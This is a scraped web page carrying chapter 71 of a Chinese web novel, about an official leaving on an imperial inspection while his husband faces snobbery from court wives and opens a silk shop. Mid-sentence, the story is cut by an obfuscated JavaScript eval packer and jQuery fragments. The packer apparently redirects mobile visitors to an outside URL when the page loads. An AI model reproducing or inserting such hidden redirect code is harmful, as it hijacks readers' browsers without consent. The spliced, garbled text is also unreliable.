默认冷灰
24号文字
方正启体

71.第七十一章

作者:疯十肆本书字数:K更新时间:
    彦博远一路将人送到府门外,宫里的马车没了影才回去。


    大门在他身后缓缓闭合。


    看着手中的圣旨,红笔朱印。


    这趟差只要能活着回来,以皇帝的性子,必定会让他官升一级。


    明明是喜事,他不该郁郁。


    彦博远敛起笑容,面色阴沉地往后院去。


    巡查地方不好带家眷,此次一去,数月不可归家。


    他即将要与夫郎分居两地。


    唉,愁。


    到了卧房前,彦博远脚步一顿。


    “大人不进去吗?”


    仆役见他手半扶在门上,却不用力,疑惑问道。


    大人这般落寞的神色罕见,就像,就像主君时常拿出来说的。


    跟夺了小黑嘴里的肉骨头一样。


    好不易吃到的肉被人抢去,可怜巴巴的护不住。


    彦博远闭眼,再睁开时,一扫适才的阴郁沉闷。


    如先前离开时一般无二。


    门“吱嘎”一声开启。


    彦博远入内,会心一笑。


    只见自家夫郎把自己裹成个小蚕蛹,只留顶部一点儿头发漏在外面。


    呼吸平缓,已然深睡。


    开启的门复又关上,彦博远去另一个屋子换衣。


    不打扰夫郎好眠,有事也等夫郎睡醒了再说。


    晚些时候才回了屋,一块进去的还有那道圣旨。


    他颇不恭敬地将圣旨往云渝面前的桌子上一放。


    这圣旨没受到烟火供奉,先吃了冷板凳。


    云渝不像他混不吝,拿圣旨的手都有些颤抖。


    颤抖着颤抖着,也就不颤抖了。


    把内容看完,都敢对着圣旨蹙眉了。


    “夫君,皇上怎么都不让你多准备几日,你这一去得到什么时候才能回来。”


    而且还敢抱怨皇帝。


    夫夫二人,一个内外皆大逆不道,一个外表恭顺,实际内里也没差。


    云渝说完,发觉这话不妥,抿了抿嘴,“夫君你放心去办差,家里凡事有我。”


    彦博远把兴源府的事情说了,半点不隐瞒。


    云渝眉头又是一拧,心中继续大胆抱怨皇帝。


    上一任那个死法,他夫君又不是真太监。


    去了那地儿,别真给他带回个乌七八糟的偏房回来。


    “彦博远,你要是给我带回一个小的,我定不饶你。”


    夫君也不叫了,连名带姓的。


    夫郎张牙舞爪,举着拳头比划。


    彦博远连连讨饶,“夫郎冤枉,夫郎你还不了解我,但凡是在青楼楚馆周围一里地内,我是半步也不敢踏入呐。”


    “我对夫郎的心,天地可鉴,夫郎可别平白污我清白。”


    “奴家可是清白人家的汉子,从前不去,未来也不会去那些污秽地儿的。”


    “我宁愿去死也不会从了旁人的。”


    彦博远摆出一副贞洁烈夫的模样,挤出两滴热泪。


    后面变着变着,就变成了云渝是个负心汉,要污蔑伴侣清白,把人扫地出门,迎娶新妇。


    “……”云渝对彦博远这没皮没脸的样子免疫了。


    他说一句对面能演出一本画折子,说不过说不过。


    俏皮话是夫夫情趣,说了逗会乐子便就行了。


    夫夫二人都放心不下对方,闹过一通,就要正视之后数月不见的事实。


    云渝要给彦博远收拾东西。


    现在都有下人伺候,哪里需要他个主君亲自动手。


    彦博远没拦着,如同之前还在村中一般。


    云渝絮絮叨叨地给他说家里近况。


    他又吃到了什么好吃的,遇到了哪些人,之后要想做什么。


    嘱咐彦博远在外照顾好自己,凡事家里有他打点,他安心在外头当差。


    别舍不得花银子,吃好穿暖,照顾好自己……


    当日饭食也是如村中一般,由彦博远下厨烹制。


    满满当当一桌,全是家里人爱吃的。


    家中人少,彦博远要把之后几日的饭食全补齐一般,一锅一锅的出。


    连带着府里下人,也吃到了朝廷命官亲做的饭食,这在醴朝也是头一份了,下人们知道轻重,这等极其失仪的行为,半点不能传出府,吃了大人的饭,嘴也被糊得牢牢的,半点风声不透。


    日子紧张,三日后就要启程,彦博远担心他不在的这段时日里,云渝遇到不能解决的事情,后面两日他把重点放在与师兄同僚们打招呼。


    太子为举荐人,彦博远和她又有裴寰这层关系在。


    裴家师兄弟们可算太子幕僚。


    彦博远在青竹书院,得过太子府詹士充觅所著集注。


    他以此为切入与充觅相谈甚欢,充觅替太子收拢他,平日多有照拂。


    彦博远也向他那边打过招呼,云渝要是遇到不能解决的事情,可去寻他。


    还有其他几位,都是值得可信之人,其中自有个向文柏。


    到了第三日,彦博远家里家外勉强打点完毕,正式启程往兴源去。


    云渝站在城楼上,视线收不回来,俱落在队伍最前方的彦博远身上。


    他胯.下马匹高大矫健,乌黑油亮。


    青年身姿挺拔,目光如炬,少了少年江湖气,多了肃穆与庄严。


    云渝似乎从那点风姿中窥探到点儿他曾经的意气风发,行走江湖的侠气。


    御史大人望向云渝时,眸中冷冽寒光顿收,转为绕指春风。


    彦博远冲他挥了挥手,又拍了拍自己的胸脯,那里放着云渝绣制的平安符。


    张嘴开合,距离太远,云渝听不见,但也看懂了口型。


    让他回去,城门上风大,别吹着凉了。


    云渝点头让他放心,直到猎猎官旗消失在远方,云渝依旧伫立在城楼上,不舍离去。


    云渝少与后院妇人接触,和向文柏新娶的夫人的交情也不多。


    彦博远官职尚小,与他家往来密切点的官员家眷以姐儿为主。


    哥儿主君多的,还要往上拔上一拔,皇族哥儿外嫁的驸马们,那又是另一个圈子。


    向文柏夫人是世家嫡女出身,虽是旁支,规矩一点不少,有过之而无不及。


    嫡系可以蔑视的规矩,旁支这边就是立身的铁律。


    云渝和她来往,十分拘谨。


    但也知道随着彦博远慢慢升上去后,压在他头上的规矩只会更多。


    官家后院,高门大户,多少双眼睛盯着,时刻想从你身上撕下一块肉。


    在自家不用遵守繁复礼节,但出门在外不得不做,不然该是要被人看轻了。


    云渝不在意,但他不能不为彦博远着想。


    是以虽有往来,但多多少少带着点憋屈。


    他以前是村户,后嫁与彦博远成了商户。


    小地方出来的,京都人看不起他。


    又有前头抛头露面的经历在,官家后院女眷觉得他轻浮。


    他们不想得罪彦博远,明面上都是和和气气。


    可那些细枝末节的小事上,是直往人心窝子戳。


    云渝权当自己没看见,但也知他们内心想的是些什么。


    哥儿正夫,得夫君重视。


    外头有风言风语,传彦博远有隐疾,但他后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524449|183242||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    院只云渝一人是事实。


    在场的官夫人里,哪家老爷不是享齐人之福,三妻四妾。


    庶子庶女一窝一窝地生。


    夫妻和睦的,还能得老爷敬重。


    更有宠妾灭妻者,那主母只有打碎了牙齿往肚中咽。


    还要替自家夫君遮掩一二,不让政敌拿宠妾灭妻来攻讦。


    彦博远一表人才,独爱正夫,他们心中泛酸,就逮着人不如自己的地方看。


    乡下哥儿泥腿子,生来长不出庄稼的破烂地……


    府城之时有云渝有何笙尧做伴,现在只他一人。


    向夫人因为向文柏和彦博远的交情,没给他下过脸子,但她自小长在京都富贵圈里。


    内心深处也不是很乐意与他来往。


    哥儿地位到底低了一筹。


    后院妇人的事儿,汉子们不知道,也不乐意去了解。


    云渝初几次还闷在心中,不想说与彦博远听,免得惹他不快。


    还是彦博远心思细,发现了点苗头。


    每次云渝参加宴会回来,之后几日,虽不会表现出很明显的情绪波动,但变得不爱出门。


    参加一次宴后,回来就得五六天不出门。


    一次两次是巧合,三次四次都这样。


    哪怕云渝装得再好,彦博远也琢磨出不对味儿了。


    夫郎不爱被后院困住,做生意时,日日不落出门做事。


    京都虽然还没有生意,但也经常出门游走,茶楼听书,戏楼听曲,四处打听商机。


    彦博远一合计,就明白过来。


    拉着人好好说道了一番,不许人憋着难受不说。


    “和人处不来,我们便不用和她相处。”


    “你相公的本事,你还不知道吗,我要是需要靠夫郎去委曲求全,替我联络关系,那我这十年寒窗苦读,全读狗肚子里去了,那是半点本事也无。”


    “你且记着,谁给你不痛快,我就去找她汉子不痛快。”


    “待到以后你夫君封侯拜相,只有她们捧着你的份,她们如何对你,你就双倍奉还。”


    云渝被他一腔豪言壮志感动。


    激动地吹了个鼻涕泡。


    被泪水糊面的小脸委屈不起来了,被夫君哄得重新展颜。


    相比和她们一块儿聚会办宴,云渝还是更喜欢出去做生意。


    热脸不贴冷屁股。


    谁爱和她们玩谁玩去,本哥儿不伺候了。


    彦博远为支持夫郎,掏空私房,积极上交钱财。


    云渝又攒了些日子,最后在京都靠外倒数第三条街巷里租下一个铺面。


    这回不做糕点生意了,京都糕点花样多,云渝手里的配方,不足以在京都异军突起。


    这回要做的是绸缎生意。


    云渝把京都的绸缎庄子跑遍了,发现没有和郑家绸缎相仿的工艺。


    这就有了商机。


    云渝和郑长颂通了信,由郑家供货,再搭上点其他缎子,撑起了门面。


    云渝就这么在京都,有了第一家产业。


    不和旁人合开,完完全全属于他的绸缎铺。


    有着之前郑长颂教的东西托底,绸缎铺不久就步上了正轨。


    布匹工艺新鲜,花样多而巧,云渝又会宣传,推出不多久,就受到京都人的热烈追捧。


    生意蒸蒸日上,负责的管事对云渝崇拜得五体投地。


    别看地方偏,但赚得可多!


    云渝在后院那儿的不得志化为满腔热血,势必要在京都干出一番伟业。


    她们瞧不起他,那他就比她们汉子还厉害!


    到时候看谁瞧不起谁。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)